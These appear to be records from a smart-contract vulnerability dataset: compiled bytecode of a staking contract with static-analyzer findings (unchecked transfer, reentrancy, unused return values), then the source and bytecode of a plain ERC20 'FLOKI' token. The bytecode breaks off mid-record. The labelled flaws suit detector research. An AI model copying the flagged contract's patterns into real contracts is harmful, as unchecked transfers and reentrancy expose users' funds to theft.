905060608167ffffffffffffffff8111801561071257600080fd5b506040519080825280602002602001820160405280156107415781602001602082028036833780820191505090505b50905060608267ffffffffffffffff8111801561075d57600080fd5b5060405190808252806020026020018201604052801561078c5781602001602082028036833780820191505090505b50905060608367ffffffffffffffff811180156107a857600080fd5b506040519080825280602002602001820160405280156107d75781602001602082028036833780820191505090505b50905060608467ffffffffffffffff811180156107f357600080fd5b506040519080825280602002602001820160405280156108225781602001602082028036833780820191505090505b50905060008b90505b8a8110156109ce57600061084982600261195090919063ffffffff16565b905060006108608e8461193990919063ffffffff16565b90508187828151811061086f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548682815181106108f557fe5b602002602001018181525050600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485828151811061094d57fe5b602002602001018181525050600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548482815181106109a557fe5b60200260200101818152505050506109c760018261196a90919063ffffffff16565b905061082b565b50838383839850985098509850505050505092959194509250565b6109f233611986565b565b6000680d8d726b7177a8000060015410610a115760009050610a38565b6000610a31600154680d8d726b7177a8000061193990919063ffffffff16565b9050809150505b90565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610af0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b620d2f00610b46600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261193990919063ffffffff16565b11610b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180611f3b6034913960400191505060405180910390fd5b610ba533611986565b6000610bcf612710610bc1603285611c1c90919063ffffffff16565b611c4b90919063ffffffff16565b90506000610be6828461193990919063ffffffff16565b905073db665ab1d56b6821aea7ca8f3bb2f7d805d4b1e173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c8d57600080fd5b505af1158015610ca1573d6000803e3d6000fd5b505050506040513d6020811015610cb757600080fd5b8101908080519060200190929190505050610d3a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f436f756c64206e6f74207472616e73666572207769746864726177206665652e81525060200191505060405180910390fd5b73db665ab1d56b6821aea7ca8f3bb2f7d805d4b1e173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610dbf57600080fd5b505af1158015610dd3573d6000803e3d6000fd5b505050506040513d6020811015610de957600080fd5b8101908080519060200190929190505050610e6c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610ebe83600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193990919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f15336002611c6490919063ffffffff16565b8015610f6057506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610f7b57610f79336002611c9490919063ffffffff16565b505b505050565b6000610f8c6002611cc4565b905090565b60056020528060005260406000206000915090505481565b609681565b60076020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461101e57600080fd5b73db665ab1d56b6821aea7ca8f3bb2f7d805d4b1e173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110d4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616e6e6f74205472616e73666572204f75742059464932432100000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561114557600080fd5b505af1158015611159573d6000803e3d6000fd5b505050506040513d602081101561116f57600080fd5b810190808051906020019092919050505050505050565b618e9481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006111c6826002611c6490919063ffffffff16565b6111d3576000905061131a565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611224576000905061131a565b6000611278600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261193990919063ffffffff16565b90506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006113116127106113036301e133806112f5876112e7618e9489611c1c90919063ffffffff16565b611c1c90919063ffffffff16565b611c4b90919063ffffffff16565b611c4b90919063ffffffff16565b90508093505050505b919050565b73db665ab1d56b6821aea7ca8f3bb2f7d805d4b1e181565b600081116113ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b73db665ab1d56b6821aea7ca8f3bb2f7d805d4b1e173ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561145057600080fd5b505af1158015611464573d6000803e3d6000fd5b505050506040513d602081101561147a57600080fd5b81019080805190602001909291905050506114fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61150633611986565b6000611530612710611522609685611c1c90919063ffffffff16565b611c4b90919063ffffffff16565b90506000611547828461193990919063ffffffff16565b905073db665ab1d56b6821aea7ca8f3bb2f7d805d4b1e173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115ee57600080fd5b505af1158015611602573d6000803e3d6000fd5b505050506040513d602081101561161857600080fd5b810190808051906020019092919050505061169b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b6116ed81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196a90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611744336002611c6490919063ffffffff16565b6117a25761175c336002611cd990919063ffffffff16565b5042600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6301e1338081565b60046020528060005260406000206000915090505481565b60015481565b603281565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461182a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561186457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60066020528060005260406000206000915090505481565b60008282111561194557fe5b818303905092915050565b600061195f8360000183611d09565b60001c905092915050565b60008082840190508381101561197c57fe5b8091505092915050565b6000611991826111b0565b90506000811115611bd45773db665ab1d56b6821aea7ca8f3bb2f7d805d4b1e173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611a2157600080fd5b505af1158015611a35573d6000803e3d6000fd5b505050506040513d6020811015611a4b57600080fd5b8101908080519060200190929190505050611ace576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b611b2081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196a90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b788160015461196a90919063ffffffff16565b6001819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008082840290506000841480611c3b575082848281611c3857fe5b04145b611c4157fe5b8091505092915050565b600080828481611c5757fe5b0490508091505092915050565b6000611c8c836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611d8c565b905092915050565b6000611cbc836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611daf565b905092915050565b6000611cd282600001611e97565b9050919050565b6000611d01836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611ea8565b905092915050565b600081836000018054905011611d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611f196022913960400191505060405180910390fd5b826000018281548110611d7957fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b60008083600101600084815260200190815260200160002054905060008114611e8b5760006001820390506000600186600001805490500390506000866000018281548110611dfa57fe5b9060005260206000200154905080876000018481548110611e1757fe5b9060005260206000200181905550600183018760010160008381526020019081526020016000208190555086600001805480611e4f57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611e91565b60009150505b92915050565b600081600001805490509050919050565b6000611eb48383611d8c565b611f0d578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611f12565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea26469706673582212201761a4a9313d62a25fda2d96e3455ee77a107707ae8b498f533e499cce497f0f64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,886
0xE5cD50d17d99A7F82F1a95Ff78fdfB5cDBCB6aD4
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract FLOKI is ERC20 { constructor(uint256 initialSupply) ERC20 ("Shiba Inu Puppy", "FLOKI") { _mint(msg.sender,initialSupply); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e45565b60405180910390f35b6100e660048036038101906100e19190610c8f565b610308565b6040516100f39190610e2a565b60405180910390f35b610104610326565b6040516101119190610f47565b60405180910390f35b610134600480360381019061012f9190610c3c565b610330565b6040516101419190610e2a565b60405180910390f35b610152610428565b60405161015f9190610f62565b60405180910390f35b610182600480360381019061017d9190610c8f565b610431565b60405161018f9190610e2a565b60405180910390f35b6101b260048036038101906101ad9190610bcf565b6104dd565b6040516101bf9190610f47565b60405180910390f35b6101d0610525565b6040516101dd9190610e45565b60405180910390f35b61020060048036038101906101fb9190610c8f565b6105b7565b60405161020d9190610e2a565b60405180910390f35b610230600480360381019061022b9190610c8f565b6106a2565b60405161023d9190610e2a565b60405180910390f35b610260600480360381019061025b9190610bfc565b6106c0565b60405161026d9190610f47565b60405180910390f35b60606003805461028590611077565b80601f01602080910402602001604051908101604052809291908181526020018280546102b190611077565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610747565b848461074f565b6001905092915050565b6000600254905090565b600061033d84848461091a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610ec7565b60405180910390fd5b61041c85610414610747565b85840361074f565b60019150509392505050565b60006012905090565b60006104d361043e610747565b84846001600061044c610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104ce9190610f99565b61074f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053490611077565b80601f016020809104026020016040519081016040528092919081815260200182805461056090611077565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600080600160006105c6610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a90610f27565b60405180910390fd5b61069761068e610747565b8585840361074f565b600191505092915050565b60006106b66106af610747565b848461091a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b690610f07565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561082f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082690610e87565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161090d9190610f47565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561098a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098190610ee7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f190610e67565b60405180910390fd5b610a05838383610b9b565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8290610ea7565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1e9190610f99565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b829190610f47565b60405180910390a3610b95848484610ba0565b50505050565b505050565b505050565b600081359050610bb481611346565b92915050565b600081359050610bc98161135d565b92915050565b600060208284031215610be557610be4611107565b5b6000610bf384828501610ba5565b91505092915050565b60008060408385031215610c1357610c12611107565b5b6000610c2185828601610ba5565b9250506020610c3285828601610ba5565b9150509250929050565b600080600060608486031215610c5557610c54611107565b5b6000610c6386828701610ba5565b9350506020610c7486828701610ba5565b9250506040610c8586828701610bba565b9150509250925092565b60008060408385031215610ca657610ca5611107565b5b6000610cb485828601610ba5565b9250506020610cc585828601610bba565b9150509250929050565b610cd881611001565b82525050565b6000610ce982610f7d565b610cf38185610f88565b9350610d03818560208601611044565b610d0c8161110c565b840191505092915050565b6000610d24602383610f88565b9150610d2f8261111d565b604082019050919050565b6000610d47602283610f88565b9150610d528261116c565b604082019050919050565b6000610d6a602683610f88565b9150610d75826111bb565b604082019050919050565b6000610d8d602883610f88565b9150610d988261120a565b604082019050919050565b6000610db0602583610f88565b9150610dbb82611259565b604082019050919050565b6000610dd3602483610f88565b9150610dde826112a8565b604082019050919050565b6000610df6602583610f88565b9150610e01826112f7565b604082019050919050565b610e158161102d565b82525050565b610e2481611037565b82525050565b6000602082019050610e3f6000830184610ccf565b92915050565b60006020820190508181036000830152610e5f8184610cde565b905092915050565b60006020820190508181036000830152610e8081610d17565b9050919050565b60006020820190508181036000830152610ea081610d3a565b9050919050565b60006020820190508181036000830152610ec081610d5d565b9050919050565b60006020820190508181036000830152610ee081610d80565b9050919050565b60006020820190508181036000830152610f0081610da3565b9050919050565b60006020820190508181036000830152610f2081610dc6565b9050919050565b60006020820190508181036000830152610f4081610de9565b9050919050565b6000602082019050610f5c6000830184610e0c565b92915050565b6000602082019050610f776000830184610e1b565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610fa48261102d565b9150610faf8361102d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fe457610fe36110a9565b5b828201905092915050565b6000610ffa8261100d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611062578082015181840152602081019050611047565b83811115611071576000848401525b50505050565b6000600282049050600182168061108f57607f821691505b602082108114156110a3576110a26110d8565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f72657373000000000000000000